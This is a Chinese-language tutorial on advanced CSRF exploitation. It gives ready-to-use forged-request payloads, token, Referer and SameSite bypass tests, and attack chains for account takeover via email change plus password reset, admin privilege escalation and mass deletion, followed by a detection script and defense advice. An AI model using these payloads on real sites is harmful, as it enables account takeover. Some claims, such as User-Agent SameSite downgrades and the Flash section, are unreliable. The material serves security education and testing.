CSRF 高级利用技巧
漏洞概述
跨站请求伪造 (CSRF) 攻击者诱导受害者在已认证的网站上执行非预期操作。虽然基础 CSRF 已被广泛防御,但高级技巧仍可绕过常见防护。
OWASP Top 10: A01:2021 (Broken Access Control)
危害等级: ⭐⭐⭐
基础 CSRF
攻击原理
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ Target │
│ Website │ │ Browser │ │ Server │
└─────────────┘ └─────────────┘ └─────────────┘
│ │ │
│ 1. 诱导访问 │ │
│───────────────────▶│ │
│ │ │
│ │ 2. 已登录 Target │
│ │ (Cookie 自动携带) │
│ │ │
│ 3. 恶意请求 │ │
│───────────────────▶│───────────────────▶│
│ │ Cookie: session │
│ │ │
│ │ 4. 执行操作 │
│ │◀───────────────────│
│ │ │基础 Payload
<!-- GET 请求 -->
<img src="https://target.com/api/delete-account?confirm=true" width="0" height="0">
<!-- POST 请求 (Form) -->
<form id="csrf-form" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
</form>
<script>document.getElementById('csrf-form').submit();</script>
<!-- POST 请求 (AJAX) -->
<script>
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@example.com'})
});
</script>高级绕过技巧
1. Token 验证绕过
1.1 Token 未验证
# 测试:删除 CSRF Token 参数
POST /api/change-email HTTP/1.1
Host: target.com
Cookie: session=valid_session
# 不带 token
email=attacker@example.com
# 如果成功,说明未验证1.2 Token 与 Session 未绑定
# 步骤 1: 用自己的账号获取 token
POST /api/get-csrf-token HTTP/1.1
Cookie: session=ATTACKER_SESSION
Response: csrf_token=ABC123
# 步骤 2: 用受害者的 session + 攻击者的 token
POST /api/change-email HTTP/1.1
Cookie: session=VICTIM_SESSION
csrf_token=ABC123 # 攻击者的 token
# 如果成功,说明 token 未与 session 绑定1.3 Token 可预测
# 测试 token 生成规律
import requests
import hashlib
tokens = []
for i in range(10):
r = requests.get('https://target.com/api/get-csrf-token',
cookies={'session': 'test'})
tokens.append(r.json()['csrf_token'])
# 分析规律
# 时间戳?递增?哈希?1.4 Token 复用
# 测试:同一个 token 能否多次使用
POST /api/action1
csrf_token=ABC123
POST /api/action2
csrf_token=ABC123 # 同一个 token
POST /api/action3
csrf_token=ABC123 # 还能用?2. Referer 验证绕过
2.1 Referer 缺失
<!-- 某些服务器在 Referer 缺失时不验证 -->
<meta name="referrer" content="no-referrer">
<img src="https://target.com/api/action">2.2 Referer 子域名绕过
# 验证逻辑:referer.contains('target.com')
# 绕过:
Referer: https://target.com.evil.com/action
Referer: https://evil.com/target.com/action2.3 Referer 参数覆盖
# 某些框架优先读取参数
POST /api/action?_referer=https://attacker.com
Referer: https://attacker.com3. SameSite Cookie 绕过
3.1 SameSite=Lax 绕过
<!-- Lax 允许 GET 请求跨站 -->
<a href="https://target.com/api/delete-account?confirm=true" target="_blank">
点击查看
</a>
<!-- 用户点击后,GET 请求携带 Cookie -->3.2 SameSite 降级攻击
# 旧浏览器不支持 SameSite
# 强制降级到无保护
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)3.3 子请求绕过
<!-- 某些场景下子请求不受 SameSite 限制 -->
<iframe src="https://target.com/csrf-page"></iframe>
<script>
const iframe = document.querySelector('iframe');
iframe.contentWindow.location = 'https://target.com/api/action';
</script>4. CORS 配置错误结合
# 目标站点 CORS 配置错误
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# 攻击代码
<script>
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@example.com'})
}).then(r => r.text()).then(console.log);
</script>5. Flash/HTML5 混合攻击
<!-- 已淘汰但仍有效 -->
<iframe src="https://target.com/csrf.html" name="target"></iframe>
<form action="https://target.com/api/action" method="POST" target="target">
<input type="hidden" name="param" value="evil">
</form>
<script>document.forms[1].submit();</script>实战案例
案例 1: 邮箱修改 + 密码重置
<!-- 1. 修改受害者邮箱 -->
<form id="f1" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
</form>
<!-- 2. 触发密码重置 -->
<form id="f2" action="https://target.com/api/reset-password" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
</form>
<script>
document.getElementById('f1').submit();
setTimeout(() => {
document.getElementById('f2').submit();
}, 1000);
</script>案例 2: 权限提升
<!-- 管理员操作:添加用户到管理员组 -->
<form action="https://target.com/admin/add-role" method="POST">
<input type="hidden" name="user_id" value="VICTIM_ID">
<input type="hidden" name="role" value="admin">
</form>
<!-- 诱导管理员访问 -->
<a href="https://attacker.com/csrf.html" target="_blank">
查看敏感信息
</a>案例 3: 内网 CSRF (结合 XSS)
<!-- 1. XSS 窃取管理员 session -->
<script>
fetch('https://internal.target.com/api/action', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({action: 'delete_all'})
});
</script>
<!-- 2. 诱导管理员访问恶意页面 -->案例 4: 移动端 CSRF
<!-- 移动 App WebView CSRF -->
<!-- App 内嵌 WebView 自动携带 Cookie -->
<a href="myapp://csrf-action">点击领取奖品</a>
<!-- 或利用 Deep Link -->
<intent>
action: VIEW
data: myapp://api/delete-account
</intent>工具
CSRF PoC 生成器
# Burp Suite
1. 捕获请求
2. 右键 → Engagement tools → Generate CSRF PoC
# 在线工具
https://portswigger.net/web-security/csrfCSRF 检测脚本
import requests
def test_csrf(target_url, session_cookie):
# 测试 1: 无 Token
r1 = requests.post(target_url,
cookies={'session': session_cookie})
# 测试 2: 空 Token
r2 = requests.post(target_url,
cookies={'session': session_cookie},
data={'csrf_token': ''})
# 测试 3: 随机 Token
r3 = requests.post(target_url,
cookies={'session': session_cookie},
data={'csrf_token': 'random123'})
# 比较响应
if r1.status_code == r2.status_code == r3.status_code == 200:
print("可能存在 CSRF 漏洞")防御建议
服务端
# 1. 使用 CSRF Token (与 Session 绑定)
import secrets
from hashlib import sha256
def generate_csrf_token(session_id):
secret = get_session_secret(session_id)
return sha256(f"{session_id}:{secret}".encode()).hexdigest()
def validate_csrf_token(session_id, token):
expected = generate_csrf_token(session_id)
return secrets.compare_digest(expected, token)
# 2. 验证 Referer/Origin
def validate_referer(referer, allowed_hosts):
from urllib.parse import urlparse
parsed = urlparse(referer)
return parsed.netloc in allowed_hosts
# 3. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict; Secure; HttpOnly
# 4. 双重提交 Cookie
Set-Cookie: csrf_token=ABC123; SameSite=Strict
# 请求时验证 Header: X-CSRF-Token: ABC123
# 5. 关键操作二次验证
# 修改密码、转账等操作要求重新输入密码客户端
// 1. 自动注入 CSRF Token
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/action', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken,
'Content-Type': 'application/json'
}
});
// 2. 验证来源
if (document.referrer && !document.referrer.includes('target.com')) {
// 可疑请求
}
// 3. 敏感操作确认
function confirmAction(message) {
return window.confirm(message);
}